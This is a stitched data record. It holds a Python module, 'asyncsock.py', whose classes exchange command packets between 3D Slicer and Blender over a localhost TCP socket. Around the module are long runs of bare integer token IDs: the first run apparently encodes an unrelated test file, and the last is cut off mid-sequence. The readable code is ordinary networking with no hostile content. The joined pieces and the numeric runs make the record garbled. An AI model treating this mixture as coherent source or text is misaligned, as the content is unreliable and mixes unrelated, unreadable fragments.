353,
15472,
29898,
1311,
29889,
8336,
29892,
29871,
29896,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
2997,
29889,
20055,
20633,
29889,
8949,
29889,
29876,
333,
29892,
12003,
29896,
29889,
20055,
20633,
29889,
8949,
29889,
29876,
333,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
2997,
29889,
657,
17020,
3285,
13,
462,
462,
12003,
29889,
657,
17020,
2141,
5451,
703,
1057,
613,
29871,
29906,
9601,
29896,
2314,
13,
18884,
9995,
15472,
27407,
6880,
847,
15472,
27407,
2951,
9995,
13,
18884,
12003,
29889,
29903,
29889,
265,
353,
7700,
13,
18884,
1583,
29889,
9294,
9843,
29898,
2997,
29889,
29903,
29889,
265,
29892,
7700,
29897,
13,
18884,
12003,
29889,
29903,
29889,
265,
353,
5852,
13,
18884,
1583,
29889,
9294,
9843,
29898,
2997,
29889,
29903,
29889,
265,
29892,
5852,
29897,
13,
18884,
9995,
15472,
2697,
7583,
2713,
327,
1204,
847,
15472,
2577,
7583,
2713,
327,
1204,
9995,
13,
18884,
15472,
29889,
842,
7583,
29898,
1311,
29889,
8336,
29892,
29871,
29896,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
9643,
29889,
657,
7583,
29898,
1311,
29889,
8336,
511,
29871,
29896,
29897,
13,
18884,
9995,
15472,
2577,
9182,
847,
15472,
2697,
9182,
9995,
13,
18884,
1583,
29889,
9294,
9843,
29898,
710,
29898,
2997,
29889,
29903,
29889,
11651,
511,
376,
29896,
29889,
718,
29871,
29906,
23157,
13,
18884,
1583,
29889,
9294,
9843,
29898,
710,
29898,
27996,
29889,
29903,
29889,
11651,
511,
376,
29896,
29889,
718,
29871,
29906,
23157,
13,
18884,
12003,
29889,
29903,
29889,
11651,
353,
27827,
29898,
11031,
29941,
29906,
29898,
29906,
511,
27842,
29941,
29906,
29898,
29946,
876,
13,
18884,
1583,
29889,
9294,
9843,
29898,
710,
29898,
2997,
29889,
29903,
29889,
11651,
511,
376,
29906,
29889,
718,
29871,
29946,
23157,
13,
18884,
1583,
29889,
9294,
9843,
29898,
710,
29898,
27996,
29889,
29903,
29889,
11651,
511,
376,
29906,
29889,
718,
29871,
29946,
23157,
13,
18884,
1583,
29889,
9294,
9843,
29898,
710,
29898,
2997,
29889,
29911,
29889,
11651,
511,
851,
29898,
27996,
29889,
29911,
29889,
11651,
876,
13,
18884,
9995,
3617,
4592,
29940,
333,
847,
3789,
4592,
29940,
333,
9995,
13,
18884,
1583,
29889,
9294,
9843,
29898,
27996,
29889,
657,
4592,
3285,
12003,
29889,
3332,
29897,
13,
18884,
12003,
29889,
842,
4592,
29898,
27996,
29889,
29903,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
27996,
29889,
657,
4592,
3285,
12003,
29889,
3332,
29889,
29903,
29897,
13,
18884,
12003,
29889,
842,
4592,
29898,
27996,
29889,
3332,
29897,
13,
18884,
9995,
10987,
4247,
29956,
789,
20224,
9995,
13,
18884,
1583,
29889,
9294,
9843,
29898,
710,
29898,
27996,
29889,
657,
4247,
29956,
789,
703,
29911,
29930,
1159,
511,
13,
462,
462,
851,
29898,
2997,
29889,
657,
4247,
29956,
789,
703,
29911,
20605,
4961,
13,
18884,
9995,
10987,
8176,
29956,
789,
20224,
9995,
13,
18884,
1583,
29889,
9294,
9843,
29898,
27996,
29889,
2886,
28089,
703,
29930,
4968,
1887,
29889,
2886,
28089,
703,
29930,
5783,
13,
18884,
9995,
302,
455,
9995,
13,
18884,
12003,
29889,
29903,
29889,
3539,
29918,
10646,
353,
5852,
13,
18884,
1583,
29889,
9294,
9843,
29898,
27996,
29889,
29903,
29889,
3539,
29918,
10646,
29892,
5852,
29897,
13,
18884,
363,
302,
455,
297,
6702,
265,
742,
525,
19488,
742,
525,
21125,
29918,
710,
742,
525,
29881,
1853,
742,
525,
2848,
742,
525,
2096,
1477,
742,
525,
8159,
2084,
742,
525,
1195,
2084,
742,
525,
14242,
29918,
29876,
4841,
742,
525,
11991,
29918,
29876,
4841,
742,
525,
29878,
5444,
742,
525,
3539,
29918,
10646,
29374,
13,
462,
1678,
1243,
29876,
455,
29898,
27996,
29892,
1887,
29892,
378,
29892,
302,
455,
29897,
13,
18884,
9995,
716,
6433,
9995,
13,
18884,
1583,
29889,
9294,
9843,
29898,
2997,
29889,
657,
17020,
3285,
378,
29889,
657,
29898,
13,
462,
1678,
376,
8336,
9507,
1566,
6653,
29896,
19123,
1583,
29889,
8336,
876,
13,
9651,
7146,
29901,
13,
18884,
1583,
3032,
9847,
29918,
3487,
29879,
666,
3552,
4501,
29878,
29892,
1923,
876,
13,
4706,
7146,
29901,
13,
9651,
565,
3731,
29878,
29918,
1188,
29901,
13,
18884,
3731,
29878,
29918,
1188,
29889,
5358,
580,
13,
13,
1678,
822,
9717,
29911,
6814,
29898,
1311,
1125,
13,
4706,
1923,
29892,
1923,
29918,
637,
353,
1583,
3032,
14669,
29918,
3487,
29879,
666,
29898,
13,
9651,
525,
24705,
29918,
18603,
742,
525,
24705,
29918,
15082,
742,
29871,
29955,
29896,
29900,
29900,
29974,
1311,
29889,
2248,
29892,
5852,
29897,
13,
4706,
3731,
29878,
353,
3731,
29878,
29918,
1188,
353,
6213,
13,
4706,
1018,
29901,
13,
9651,
3731,
29878,
29892,
3731,
29878,
29918,
1188,
353,
1583,
3032,
2962,
29918,
3487,
29879,
666,
29898,
2974,
29892,
1923,
29918,
637,
29892,
525,
23981,
1495,
13,
9651,
1018,
29901,
13,
18884,
565,
3731,
29878,
338,
451,
6213,
29901,
13,
462,
1678,
931,
29889,
17059,
29898,
29896,
29897,
13,
13,
18884,
822,
7274,
29898,
29883,
29892,
22645,
1125,
13,
462,
1678,
6389,
353,
518,
11031,
29941,
29906,
29898,
29875,
29914,
29896,
29900,
29974,
13140,
29897,
363,
474,
297,
3464,
29898,
29896,
29900,
4638,
13,
462,
1678,
363,
903,
297,
3464,
29898,
29896,
29900,
1125,
13,
462,
4706,
1583,
29889,
9294,
9843,
29898,
13,
462,
9651,
274,
29889,
657,
703,
29961,
1628,
1628,
1628,
1628,
1628,
1628,
1628,
1628,
1628,
29938,
29962,
613,
334,
5085,
467,
25027,
391,
3285,
6389,
29897,
13,
18884,
274,
353,
15160,
29898,
2974,
29897,
13,
18884,
9995,
286,
6289,
6915,
9995,
13,
18884,
1583,
29889,
9294,
9843,
29898,
29883,
29889,
657,
877,
29918,
29874,
29922,
29896,
2824,
25027,
391,
3285,
29871,
29896,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
29883,
29889,
657,
877,
29918,
29874,
2824,
25027,
391,
3285,
29871,
29896,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
29883,
29889,
657,
2061,
877,
29896,
29901,
29941,
29901,
29896,
2824,
1649,
1990,
1649,
29892,
12146,
29897,
13,
18884,
330,
353,
3617,
14804,
29898,
29883,
29897,
13,
18884,
330,
29889,
4397,
877,
29874,
742,
525,
29896,
1495,
13,
18884,
330,
29889,
4397,
877,
29890,
742,
14180,
742,
29871,
29906,
29897,
13,
18884,
330,
29889,
4397,
877,
29883,
742,
14180,
24035,
742,
29871,
29896,
29892,
29871,
29906,
29897,
13,
18884,
330,
29889,
7978,
580,
13,
18884,
1583,
29889,
9294,
9843,
29898,
29887,
29889,
657,
877,
29874,
5477,
29871,
29896,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
29887,
29889,
657,
877,
29890,
5477,
29871,
29906,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
29887,
29889,
657,
877,
29883,
5477,
29871,
29941,
29897,
13,
18884,
903,
8325,
3057,
29889,
3057,
4899,
29889,
9294,
6558,
10456,
29898,
13,
462,
1678,
903,
8325,
3057,
29889,
3057,
4899,
703,
29907,
29995,
29881,
29908,
1273,
474,
29892,
7274,
29892,
274,
29892,
474,
29897,
13,
462,
1678,
363,
474,
297,
3464,
29898,
29896,
29900,
29897,
13,
462,
876,
13,
9651,
7146,
29901,
13,
18884,
565,
3731,
29878,
322,
3731,
29878,
29889,
29886,
3028,
580,
338,
6213,
29901,
13,
462,
1678,
3731,
29878,
29889,
18821,
403,
580,
13,
462,
1678,
3731,
29878,
29889,
10685,
580,
13,
4706,
7146,
29901,
13,
9651,
565,
3731,
29878,
29918,
1188,
29901,
13,
18884,
3731,
29878,
29918,
1188,
29889,
5358,
580,
13,
13,
1678,
822,
9717,
7717,
29898,
1311,
1125,
13,
4706,
3957,
353,
15160,
877,
2997,
597,
29887,
431,
1495,
13,
4706,
822,
1243,
29898,
29879,
29892,
274,
1125,
13,
9651,
363,
474,
297,
3464,
29898,
29896,
29900,
29900,
29900,
1125,
13,
18884,
269,
29889,
9294,
9843,
29898,
524,
29898,
29883,
29889,
657,
877,
29995,
29881,
29915,
1273,
474,
8243,
474,
29897,
13,
4706,
903,
8325,
3057,
29889,
3057,
4899,
29889,
9294,
6558,
10456,
29898,
13,
9651,
903,
8325,
3057,
29889,
3057,
4899,
703,
29907,
29995,
29881,
29908,
1273,
474,
29892,
1243,
29892,
1583,
29892,
3957,
29897,
13,
9651,
363,
474,
297,
3464,
29898,
29896,
29900,
29897,
13,
308,
876,
13,
13,
13,
1678,
822,
5172,
29918,
16674,
29918,
3539,
29898,
1311,
1125,
13,
4706,
2302,
353,
29871,
29896,
29900,
29900,
13,
13,
4706,
822,
286,
6289,
666,
29898,
3069,
1445,
1125,
13,
9651,
411,
1722,
29898,
3069,
1445,
29892,
376,
29893,
1159,
408,
285,
29901,
13,
18884,
285,
29889,
3539,
703,
9910,
29989,
1660,
29931,
29943,
29905,
29876,
29930,
1159,
13,
9651,
1889,
353,
1014,
5014,
29889,
29925,
3150,
3552,
13,
18884,
525,
3487,
29879,
666,
742,
17411,
29885,
742,
13,
18884,
17411,
29886,
742,
525,
29947,
29900,
29900,
29900,
742,
13,
18884,
17411,
29925,
742,
525,
29911,
6271,
742,
13,
18884,
17411,
29882,
742,
3495,
1445,
29892,
13,
632,
876,
13,
9651,
931,
29889,
17059,
29898,
29896,
29897,
13,
9651,
736,
1889,
13,
13,
4706,
822,
3244,
29898,
1688,
29892,
1024,
29892,
2943,
29892,
2302,
1125,
13,
9651,
1369,
353,
931,
29889,
2230,
580,
13,
9651,
474,
353,
448,
29896,
13,
9651,
363,
474,
297,
3464,
29898,
2798,
1125,
13,
18884,
848,
353,
27842,
29941,
29906,
4197,
29875,
29930,
29896,
29900,
29974,
29896,
2314,
13,
18884,
1286,
353,
27842,
29941,
29906,
4197,
2230,
29889,
2230,
580,
2314,
13,
18884,
2943,
29889,
5675,
17669,
358,
29898,
3707,
29961,
29900,
1402,
1286,
29961,
29900,
1402,
848,
29892,
1286,
29897,
13,
9651,
1095,
353,
931,
29889,
2230,
580,
13,
9651,
474,
4619,
29871,
29896,
13,
9651,
1243,
29889,
9294,
9843,
29898,
29875,
29892,
2302,
29897,
13,
9651,
1596,
11702,
29879,
29901,
6554,
1273,
29888,
29908,
1273,
313,
978,
29892,
474,
847,
313,
355,
29899,
2962,
4961,
13,
13,
4706,
5694,
3972,
353,
5694,
1445,
29889,
11256,
29881,
7382,
580,
13,
4706,
1018,
29901,
13,
9651,
1923,
353,
286,
6289,
666,
29898,
359,
29889,
2084,
29889,
7122,
29898,
7382,
3972,
29892,
376,
3487,
29879,
666,
29889,
23525,
5783,
13,
9651,
1018,
29901,
13,
18884,
378,
353,
15160,
877,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
1495,
13,
18884,
822,
1423,
29898,
1220,
29892,
334,
5085,
1125,
13,
462,
1678,
380,
29879,
353,
378,
29889,
657,
29898,
1220,
29892,
334,
5085,
29897,
13,
462,
1678,
1583,
29889,
9294,
5574,
29898,
303,
29879,
669,
29871,
29896,
29892,
376,
2704,
1273,
29881,
297,
14210,
29879,
11838,
1273,
313,
303,
29879,
29892,
1196,
876,
13,
18884,
1423,
703,
842,
6272,
877,
1688,
29918,
2084,
2433,
458,
10931,
613,
5694,
3972,
29897,
13,
18884,
363,
1196,
297,
313,
13,
462,
1678,
376,
9643,
6585,
4373,
877,
1688,
742,
29871,
29896,
19123,
13,
462,
1678,
376,
9643,
2528,
4247,
877,
22240,
29896,
742,
17117,
29871,
29953,
19123,
13,
462,
1678,
376,
9643,
2528,
4247,
877,
22240,
29906,
742,
17117,
29871,
29953,
19123,
13,
462,
1678,
376,
9643,
6113,
580,
613,
13,
462,
1678,
376,
9643,
11123,
580,
613,
13,
462,
1125,
13,
462,
1678,
1423,
29898,
1220,
29897,
13,
18884,
731,
6272,
703,
1688,
29918,
2084,
613,
376,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
1057,
29908,
718,
5694,
3972,
29897,
13,
18884,
5447,
353,
15472,
703,
1688,
613,
29871,
29896,
29897,
13,
18884,
903,
8325,
3057,
29889,
3057,
4899,
29889,
9294,
6558,
29898,
13,
462,
1678,
903,
8325,
3057,
29889,
3057,
4899,
877,
22240,
29896,
742,
3244,
29892,
1583,
29892,
525,
22240,
29896,
742,
5447,
29889,
22240,
29896,
29889,
8552,
3285,
2302,
511,
13,
462,
1678,
903,
8325,
3057,
29889,
3057,
4899,
877,
22240,
29906,
742,
3244,
29892,
1583,
29892,
525,
22240,
29906,
742,
5447,
29889,
22240,
29906,
29889,
8552,
3285,
2302,
511,
13,
18884,
1723,
13,
9651,
7146,
29901,
13,
18884,
565,
1923,
29901,
13,
462,
1678,
1923,
29889,
21174,
580,
13,
462,
1678,
1923,
29889,
10685,
580,
13,
4706,
7146,
29901,
13,
9651,
528,
4422,
29889,
1758,
8336,
29898,
7382,
3972,
29892,
11455,
29918,
12523,
29922,
8824,
29892,
373,
2704,
29922,
8516,
29897,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
679,
24376,
7295,
13,
4706,
736,
6024,
28993,
29911,
6814,
742,
525,
28993,
7717,
742,
525,
27996,
2033,
13,
13,
13,
24376,
29889,
3396,
22168,
978,
1649,
29897,
13,
2
] |
slicer_module/comm/asyncsock.py | dentsoft-foundation/linkSlicerBlender | 6 | 148985 | """
@author: <NAME>
"""
# REFERENCES:
# https://pymotw.com/2/asynchat/
# tuple unpacking https://stackoverflow.com/questions/1993727/expanding-tuples-into-arguments
# https://pymotw.com/2/asyncore/
import asyncore
import logging
import socket
import threading #would multiprocessing be better?
import time
packet_terminator = '\nEND_TRANSMISSION\n\n'
socket_obj = None
thread = None
address = ('127.0.0.1', 5959)
class SlicerComm():
# https://github.com/pieper/SlicerWeb/blob/master/WebServer/WebServer.py#L1479 adapted from, using QSocketNotifier class
# https://stackoverflow.com/questions/55494422/python-qtcpsocket-and-qtcpserver-receiving-message QtTcpSocket example
# https://python.hotexamples.com/examples/PyQt4.QtNetwork/QTcpSocket/-/python-qtcpsocket-class-examples.html
class EchoClient():
"""3D Slicer send and receive/handle data from TCP server via Qt event loop.
"""
def __init__(self, host, port, handle = None):
from __main__ import qt
self.received_data = [] #socket buffer
self.write_buffer = ""
self.connected = False
self.cmd_ops = {"TERM" : [self.handle_close,[]]} #dict stores packet command, corresponding function call, and the number of arguments needed to be passed
self.socket = qt.QTcpSocket()
try:
self.socket.connectToHost(host, port)
except:
return
self.socket.readyRead.connect(self.handle_read)
self.socket.connected.connect(self.handle_connected)
self.socket.disconnected.connect(self.handle_close)
if handle is not None:
for CMD, handler in handle:
self.cmd_ops[CMD] = handler
return
def handle_connected(self):
self.connected = True
def handle_close(self):
self.connected = False
self.socket.close()
print("DISCONNECTED")
def handle_read(self):
data = self.socket.readAll()
#print(data)
self.received_data.append(data)
for i in range(0, len(self.received_data)):
try: self.received_data[i] = self.received_data[i].data().decode()
except: pass
data = ''.join(self.received_data)
if packet_terminator in data:
self._process_data()
self.received_data = []
def _process_data(self):
"""We have the full ECHO command"""
data = ''.join(self.received_data)
#print(data)
data = data[:-len(packet_terminator)]
data = data.split(' net_packet: ')
self.received_data = [] #empty buffer
if data[0] in self.cmd_ops: self.cmd_ops[data[0]](data[1]) #call stored function, pass stored arguments from tuple
elif data[0] in self.cmd_ops and len(data) > 2: self.cmd_ops[data[0]][0](data[1], *self.cmd_ops[data[0]][1]) # call stored function this way if more args exist - not tested
else: pass
return
def send_data(self, cmd, data):
self.write_buffer = str.encode(cmd.upper() + " net_packet: " + data + packet_terminator)
self.socket.write(self.write_buffer)
self.write_buffer = ""
class BlenderComm():
#blender_main_thread = None
def start():
try:
asyncore.loop()
except asyncore.ExitNow as e:
#print(e)
pass
#asyncore.loop()
def init_thread(server_instance, socket_obj):
blender_thread = threading.current_thread()
new_thread = threading.Thread()
new_thread.run = server_instance
new_thread.start()
check_thread = threading.Thread(target=BlenderComm.check_main_thread, args=(blender_thread, new_thread, socket_obj,))
check_thread.start()
return new_thread
def stop_thread(my_thread):
my_thread.join()
#raise asyncore.ExitNow('Server is quitting!')
def check_main_thread (main_thread, server_thread, socket_obj):
while main_thread.is_alive() and server_thread.is_alive():
time.sleep(5)
socket_obj.stop_server(socket_obj)
BlenderComm.stop_thread(server_thread)
exit()
class EchoClient(asyncore.dispatcher):
"""Sends messages to the server and receives responses.
"""
# Artificially reduce buffer sizes to illustrate
# sending and receiving partial messages.
#ac_in_buffer_size = 64
#ac_out_buffer_size = 64
def __init__(self, host, port):
asyncore.dispatcher.__init__(self)
self.received_data = [] #socket buffer
self.connected = False
self.cmd_ops = {"TERM" : [self.handle_close,[]]} #dict stores packet command, corresponding function call, and the number of arguments needed to be passed
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.connect((host, port))
def handle_connect(self):
self.connected = True
print("client connected!")
def handle_close(self):
self.connected = False
self.close()
def handle_read(self):
data = self.recv(8192)
print("INCOMING RAW DATA:")
print(data)
self.received_data.append(data)
for i in range(0, len(self.received_data)):
try: self.received_data[i] = self.received_data[i].decode()
except: pass
data = ''.join(self.received_data)
if packet_terminator in data:
self._process_data()
self.received_data = []
def _process_data(self):
"""We have the full ECHO command"""
data = ''.join(self.received_data)
data = data[:-len(packet_terminator)]
data = data.split(' net_packet: ')
self.received_data = [] #empty buffer
if data[0] in self.cmd_ops: self.cmd_ops[data[0]](data[1]) #call stored function, pass stored arguments from tuple
elif data[0] in self.cmd_ops and len(data) > 2: self.cmd_ops[data[0]][0](data[1], *self.cmd_ops[data[0]][1])
else: pass
def send_data(self, cmd, data):
self.send(str.encode(cmd.upper() + " net_packet: " + data + packet_terminator))
class EchoHandler(asyncore.dispatcher_with_send):
def init(self, instance, cmd_handle = None):
self.instance = instance
self.received_data = [] #socket buffer
self.write_buffer = ""
self.connected = False
self.cmd_ops_client = {"TERM" : [self.handle_close,[]]}
if cmd_handle is not None:
self.cmd_ops_client.update(cmd_handle)
def handle_connect(self):
self.connected = True
def handle_close(self):
self.connected = False
self.close()
for client in self.instance.sock_handler:
if client == self:
del self.instance.sock_handler[self.instance.sock_handler.index(self)]
print("client instance deleted")
print("disconnected")
def handle_read(self):
data = self.recv(8192)
#print(data)
#self.logger.debug('handle_read() -> %d bytes', len(data))
self.received_data.append(data)
for i in range(0, len(self.received_data)):
try: self.received_data[i] = self.received_data[i].decode()
except: pass
data = ''.join(self.received_data)
if packet_terminator in data:
self._process_data()
self.received_data = []
def _process_data(self):
"""We have the full ECHO command"""
data = ''.join(self.received_data)
data = data[:-len(packet_terminator)]
#print(data)
data = data.split(' net_packet: ')
#print(data)
self.received_data = [] #empty buffer
#try:
if data[0] in self.cmd_ops_client: self.cmd_ops_client[data[0]](data[1]) #call stored function, pass stored arguments from tuple
elif data[0] in self.cmd_ops_client and len(data) > 2: self.cmd_ops_client[data[0]][0](data[1], *self.cmd_ops_client[data[0]][1])
else: pass
#except: pass
def send_data(self, cmd, data):
self.send(str.encode(cmd.upper() + " net_packet: " + data + packet_terminator))
class EchoServer(asyncore.dispatcher):
def __init__(self, host, port, cmd_handle = None):
asyncore.dispatcher.__init__(self)
self.instance = self
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
#self.set_reuse_addr()
self.bind((host, port))
self.listen(5) #max number of connected clients
self.sock_handler = []
self.cmd_ops = {}
if cmd_handle is not None:
for CMD, handler in cmd_handle:
self.cmd_ops[CMD] = handler
def handle_accepted(self, sock, addr):
print('Incoming connection from %s' % repr(addr))
self.sock_handler.append(BlenderComm.EchoHandler(sock))
self.sock_handler[-1].init(self.instance, self.cmd_ops)
self.sock_handler[-1].connected = True
def stop_server(self, socket_obj):
for connected_client in socket_obj.sock_handler:
connected_client.handle_close()
self.close()
#socket_obj = None
print("server stopped")
if __name__ == "__main__":
#socket_obj = EchoClient(address[0], address[1])
#init_thread(start)
socket_obj = BlenderComm.EchoClient(address[0], address[1])
BlenderComm.init_thread(BlenderComm.start)
#BlenderComm.start()
time.sleep(10)
socket_obj.send_data("TEST", "bogus string from GIL CLIENT")
time.sleep(10)
| [
1,
9995,
13,
29992,
8921,
29901,
529,
5813,
29958,
13,
13,
15945,
29908,
13,
13,
13,
29937,
5195,
29943,
1001,
1430,
27266,
29901,
13,
29937,
2045,
597,
29886,
962,
327,
29893,
29889,
510,
29914,
29906,
29914,
294,
948,
13496,
29914,
13,
29937,
18761,
443,
4058,
292,
2045,
597,
2417,
29889,
510,
29914,
2619,
29914,
29896,
29929,
29929,
29941,
29955,
29906,
29955,
29914,
18837,
292,
29899,
9161,
2701,
29899,
8941,
29899,
25699,
13,
29937,
2045,
597,
29886,
962,
327,
29893,
29889,
510,
29914,
29906,
29914,
12674,
487,
29914,
13,
13,
5215,
7465,
487,
13,
13,
5215,
12183,
13,
5215,
9909,
13,
5215,
3244,
292,
396,
29893,
483,
6674,
307,
985,
292,
367,
2253,
29973,
13,
5215,
931,
13,
13,
13,
4058,
300,
29918,
18821,
1061,
353,
11297,
29876,
11794,
29918,
26813,
29903,
10403,
13507,
29905,
29876,
29905,
29876,
29915,
13,
11514,
29918,
5415,
353,
6213,
13,
7097,
353,
6213,
13,
7328,
353,
6702,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
742,
29871,
29945,
29929,
29945,
29929,
29897,
13,
13,
1990,
317,
506,
261,
5261,
7295,
13,
1678,
396,
2045,
597,
3292,
29889,
510,
29914,
12343,
546,
29914,
29903,
506,
261,
3609,
29914,
10054,
29914,
6207,
29914,
3609,
6004,
29914,
3609,
6004,
29889,
2272,
29937,
29931,
29896,
29946,
29955,
29929,
23430,
515,
29892,
773,
660,
11373,
3664,
3709,
770,
13,
1678,
396,
2045,
597,
2417,
29889,
510,
29914,
2619,
29914,
29945,
29945,
29946,
29929,
29946,
29946,
29906,
29906,
29914,
4691,
29899,
29939,
14246,
567,
9749,
29899,
392,
29899,
29939,
14246,
567,
261,
369,
29899,
13556,
4357,
29899,
4906,
14705,
29911,
6814,
11373,
1342,
13,
1678,
396,
2045,
597,
4691,
29889,
8711,
19057,
29889,
510,
29914,
19057,
29914,
19737,
17303,
29946,
29889,
17303,
13724,
29914,
29984,
29911,
6814,
11373,
24028,
29914,
4691,
29899,
29939,
14246,
567,
9749,
29899,
1990,
29899,
19057,
29889,
1420,
29871,
13,
1678,
770,
382,
1859,
4032,
7295,
13,
4706,
9995,
29941,
29928,
317,
506,
261,
3638,
322,
7150,
29914,
8411,
848,
515,
19374,
1923,
3025,
14705,
1741,
2425,
29889,
13,
4706,
9995,
13,
308,
13,
4706,
822,
4770,
2344,
12035,
1311,
29892,
3495,
29892,
2011,
29892,
4386,
353,
6213,
1125,
13,
9651,
515,
4770,
3396,
1649,
1053,
3855,
29873,
13,
9651,
1583,
29889,
13556,
2347,
29918,
1272,
353,
5159,
396,
11514,
6835,
13,
9651,
1583,
29889,
3539,
29918,
9040,
353,
5124,
13,
9651,
1583,
29889,
18045,
353,
7700,
13,
9651,
1583,
29889,
9006,
29918,
3554,
353,
8853,
4945,
29924,
29908,
584,
518,
1311,
29889,
8411,
29918,
5358,
29892,
2636,
12258,
396,
8977,
14422,
18203,
1899,
29892,
6590,
740,
1246,
29892,
322,
278,
1353,
310,
6273,
4312,
304,
367,
4502,
13,
9651,
1583,
29889,
11514,
353,
3855,
29873,
29889,
29984,
29911,
6814,
11373,
580,
13,
9651,
1018,
29901,
13,
18884,
1583,
29889,
11514,
29889,
6915,
1762,
8514,
29898,
3069,
29892,
2011,
29897,
13,
9651,
5174,
29901,
13,
18884,
736,
13,
9651,
1583,
29889,
11514,
29889,
2040,
6359,
29889,
6915,
29898,
1311,
29889,
8411,
29918,
949,
29897,
13,
9651,
1583,
29889,
11514,
29889,
18045,
29889,
6915,
29898,
1311,
29889,
8411,
29918,
18045,
29897,
13,
9651,
1583,
29889,
11514,
29889,
2218,
18045,
29889,
6915,
29898,
1311,
29889,
8411,
29918,
5358,
29897,
13,
9651,
565,
4386,
338,
451,
6213,
29901,
29871,
13,
18884,
363,
315,
5773,
29892,
7834,
297,
4386,
29901,
13,
462,
1678,
1583,
29889,
9006,
29918,
3554,
29961,
29907,
5773,
29962,
353,
7834,
13,
9651,
736,
13,
13,
4706,
822,
4386,
29918,
18045,
29898,
1311,
1125,
13,
9651,
1583,
29889,
18045,
353,
5852,
13,
13,
4706,
822,
4386,
29918,
5358,
29898,
1311,
1125,
13,
9651,
1583,
29889,
18045,
353,
7700,
13,
9651,
1583,
29889,
11514,
29889,
5358,
580,
13,
9651,
1596,
703,
23711,
6007,
8186,
1783,
3352,
1159,
13,
13,
4706,
822,
4386,
29918,
949,
29898,
1311,
1125,
13,
9651,
848,
353,
1583,
29889,
11514,
29889,
949,
3596,
580,
13,
9651,
396,
2158,
29898,
1272,
29897,
13,
9651,
1583,
29889,
13556,
2347,
29918,
1272,
29889,
4397,
29898,
1272,
29897,
13,
9651,
363,
474,
297,
3464,
29898,
29900,
29892,
7431,
29898,
1311,
29889,
13556,
2347,
29918,
1272,
22164,
13,
18884,
1018,
29901,
1583,
29889,
13556,
2347,
29918,
1272,
29961,
29875,
29962,
353,
1583,
29889,
13556,
2347,
29918,
1272,
29961,
29875,
1822,
1272,
2141,
13808,
580,
13,
18884,
5174,
29901,
1209,
13,
9651,
848,
353,
525,
4286,
7122,
29898,
1311,
29889,
13556,
2347,
29918,
1272,
29897,
13,
9651,
565,
18203,
29918,
18821,
1061,
297,
848,
29901,
13,
18884,
1583,
3032,
5014,
29918,
1272,
580,
13,
18884,
1583,
29889,
13556,
2347,
29918,
1272,
353,
5159,
13,
13,
4706,
822,
903,
5014,
29918,
1272,
29898,
1311,
1125,
13,
9651,
9995,
4806,
505,
278,
2989,
382,
3210,
29949,
1899,
15945,
29908,
13,
9651,
848,
353,
525,
4286,
7122,
29898,
1311,
29889,
13556,
2347,
29918,
1272,
29897,
13,
9651,
396,
2158,
29898,
1272,
29897,
13,
9651,
848,
353,
848,
7503,
29899,
2435,
29898,
4058,
300,
29918,
18821,
1061,
4638,
13,
9651,
848,
353,
848,
29889,
5451,
877,
7787,
29918,
4058,
300,
29901,
25710,
13,
9651,
1583,
29889,
13556,
2347,
29918,
1272,
353,
5159,
396,
6310,
6835,
13,
9651,
565,
848,
29961,
29900,
29962,
297,
1583,
29889,
9006,
29918,
3554,
29901,
1583,
29889,
9006,
29918,
3554,
29961,
1272,
29961,
29900,
29962,
850,
1272,
29961,
29896,
2314,
396,
4804,
6087,
740,
29892,
1209,
6087,
6273,
515,
18761,
13,
9651,
25342,
848,
29961,
29900,
29962,
297,
1583,
29889,
9006,
29918,
3554,
322,
7431,
29898,
1272,
29897,
1405,
29871,
29906,
29901,
1583,
29889,
9006,
29918,
3554,
29961,
1272,
29961,
29900,
29962,
3816,
29900,
850,
1272,
29961,
29896,
1402,
334,
1311,
29889,
9006,
29918,
3554,
29961,
1272,
29961,
29900,
29962,
3816,
29896,
2314,
396,
1246,
6087,
740,
445,
982,
565,
901,
6389,
1863,
448,
451,
9528,
13,
9651,
1683,
29901,
1209,
13,
9651,
736,
13,
13,
4706,
822,
3638,
29918,
1272,
29898,
1311,
29892,
9920,
29892,
848,
1125,
13,
9651,
1583,
29889,
3539,
29918,
9040,
353,
851,
29889,
12508,
29898,
9006,
29889,
21064,
580,
718,
376,
7787,
29918,
4058,
300,
29901,
376,
718,
848,
718,
18203,
29918,
18821,
1061,
29897,
13,
9651,
1583,
29889,
11514,
29889,
3539,
29898,
1311,
29889,
3539,
29918,
9040,
29897,
13,
9651,
1583,
29889,
3539,
29918,
9040,
353,
5124,
13,
13,
1990,
3164,
1581,
5261,
7295,
13,
13,
1678,
396,
2204,
1581,
29918,
3396,
29918,
7097,
353,
6213,
13,
13,
1678,
822,
1369,
7295,
13,
4706,
1018,
29901,
13,
9651,
7465,
487,
29889,
7888,
580,
13,
4706,
5174,
7465,
487,
29889,
24365,
10454,
408,
321,
29901,
13,
9651,
396,
2158,
29898,
29872,
29897,
13,
9651,
1209,
13,
4706,
396,
12674,
487,
29889,
7888,
580,
13,
13,
1678,
822,
2069,
29918,
7097,
29898,
2974,
29918,
8758,
29892,
9909,
29918,
5415,
1125,
13,
4706,
1999,
1581,
29918,
7097,
353,
3244,
292,
29889,
3784,
29918,
7097,
580,
13,
4706,
716,
29918,
7097,
353,
3244,
292,
29889,
4899,
580,
13,
4706,
716,
29918,
7097,
29889,
3389,
353,
1923,
29918,
8758,
13,
4706,
716,
29918,
7097,
29889,
2962,
580,
13,
4706,
1423,
29918,
7097,
353,
3244,
292,
29889,
4899,
29898,
5182,
29922,
10358,
1581,
5261,
29889,
3198,
29918,
3396,
29918,
7097,
29892,
6389,
7607,
2204,
1581,
29918,
7097,
29892,
716,
29918,
7097,
29892,
9909,
29918,
5415,
29892,
876,
13,
4706,
1423,
29918,
7097,
29889,
2962,
580,
13,
4706,
736,
716,
29918,
7097,
13,
268,
13,
1678,
822,
5040,
29918,
7097,
